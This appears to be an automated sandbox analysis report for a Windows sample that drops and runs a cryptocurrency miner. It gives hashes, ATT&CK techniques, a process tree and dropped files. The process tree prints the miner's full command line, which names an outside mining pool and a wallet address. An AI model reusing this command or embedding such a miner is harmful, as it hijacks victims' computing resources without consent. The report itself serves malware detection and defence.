73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23/02/2024, 12:22

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3054445511-921769590-4013668107-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054445511-921769590-4013668107-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2132	b2e.exe
1788	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1788	cpuminer-sse2.exe
1788	cpuminer-sse2.exe
1788	cpuminer-sse2.exe
1788	cpuminer-sse2.exe
1788	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1308-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1308 wrote to memory of 2132	1308	batexe.exe	88
PID 1308 wrote to memory of 2132	1308	batexe.exe	88
PID 1308 wrote to memory of 2132	1308	batexe.exe	88
PID 2132 wrote to memory of 4136	2132	b2e.exe	89
PID 2132 wrote to memory of 4136	2132	b2e.exe	89
PID 2132 wrote to memory of 4136	2132	b2e.exe	89
PID 4136 wrote to memory of 1788	4136	cmd.exe	92
PID 4136 wrote to memory of 1788	4136	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1308
- C:\Users\Admin\AppData\Local\Temp\81E2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\81E2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\81E2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8F30.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4136
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\81E2.tmp\b2e.exe

Filesize
14.7MB

MD5
8b1f59a6ca0e4c253febcd58540e3520

SHA1
f082f71da4518b9cdabce00d5359c5b47f4d9422

SHA256
3bf4771b600d7c7606cc5fb345e9ee3ab640f4a593c75e073eddd34e35a5ac08

SHA512
ebdf65b6c6cd96adb5c4b2a1a85fe0abe7017a764179c798da82aeb97b5ca20f3f82c7dc52f65d0c8120af9a59e78362eb7efebb6944767d298fc23f1d5631dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\81E2.tmp\b2e.exe

Filesize
7.1MB

MD5
0ee311d1eaadfe332c681848e7cfc79f

SHA1
c88e261bac6dac1a29a713878eba61fccc9d0971

SHA256
e15f8492151187f772174fd2193ef3c91f4e98abd582f36a798a87032125eeee

SHA512
f6f081fcceb515be671b186ca6b9ace325d41feac3209667c09310cc8aa990e41a505f700bd3d3f32271f20e8f7e6b8dfb7bf1022567147586309053a33c935c

Download Submit
C:\Users\Admin\AppData\Local\Temp\81E2.tmp\b2e.exe

Filesize
6.0MB

MD5
c4262db1c2b5c8e65176ece2dd52fbb1

SHA1
56dab0f4980b7d1955eea59161f72c06b958038b

SHA256
1ef20abf7374dc24e791e1590fa688c31a4b43e31ba7979bda83e3ababf14ec8

SHA512
ebfc907cf388dc4ac846d1ee144dbc2d4eec94ac6d38ee5a9834dfe6d8f28b880c357ccf7f64ccea7a4b3c94b229082d1f057645c91b1f0c9079dd161d42f264

Download Submit
C:\Users\Admin\AppData\Local\Temp\8F30.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
448KB

MD5
8185100383d0fe360c9198e5a883b08d

SHA1
ab398c469573f8e84d3cfcef01287a0604d6ab5f

SHA256
05ef7288b0d559bf67c3d69c201da9bdcaed0b49ecc538640f7b96c5b82eb538

SHA512
24930ef0caa1f2db2ed60f7dfdb832a172cf7747b0a336b051f73c0087a5f2fabff721487cb49cf5a3bc2be5426554b0a3a0e51541b6a4ca735646af24f1404a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.0MB

MD5
3d7748d4803b3bdb1844de38a54a0410

SHA1
1385479724ae2f3dbd5d93a60d304e8093ab070e

SHA256
55f2f6017f685ce5333d81affdfcbfedac91ba7beaaad202eb65a6282d8e78fb

SHA512
bca8e720f85ebf76278b12966be2fd0fcc53b19734a5ab6e89ad33b62e2b1af693508ae9d913d9664145b389bad74bb6e759e9d2da9f6e5b67d03f53b2727769

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.2MB

MD5
75e4bee111a82d92577b829271b7207f

SHA1
1e8ce9c22bc044be19a3021dec8d356399571ca7

SHA256
d882d03130426f854b8712f322c63bd9527f4a03b9af76db3280274cd8413157

SHA512
813664fbb62fd5922b26680a3e4afd7b01fb9b975b31f09bb96aca56fe3ac25d4f3ee252c80cc786e379821ba32820d14dfefd87088ead90a0a196349df03e75

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.1MB

MD5
35cbc6fb4ff8ea03bf1464eda762c8ad

SHA1
3f5760ad7377b33052f2295dcac28c4d2ba410d6

SHA256
a2aaefa5d9559549caa9462bc1beab8f3e73e7658e9dbc8370b01047621bfa20

SHA512
7d05fe01bc614d63c8a3724db7642296bb71c16dbad6abc07229989a1d952c9b5b369678134b082732cc11aad80e5ae1f9f7c7191c1883f28e81a80ce2b16470

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1308-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1788-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1788-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1788-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1788-45-0x000000006A2D0000-0x000000006A368000-memory.dmp

Filesize
608KB

Download
memory/1788-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1788-47-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/1788-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1788-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1788-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1788-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1788-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1788-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1788-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1788-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2132-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download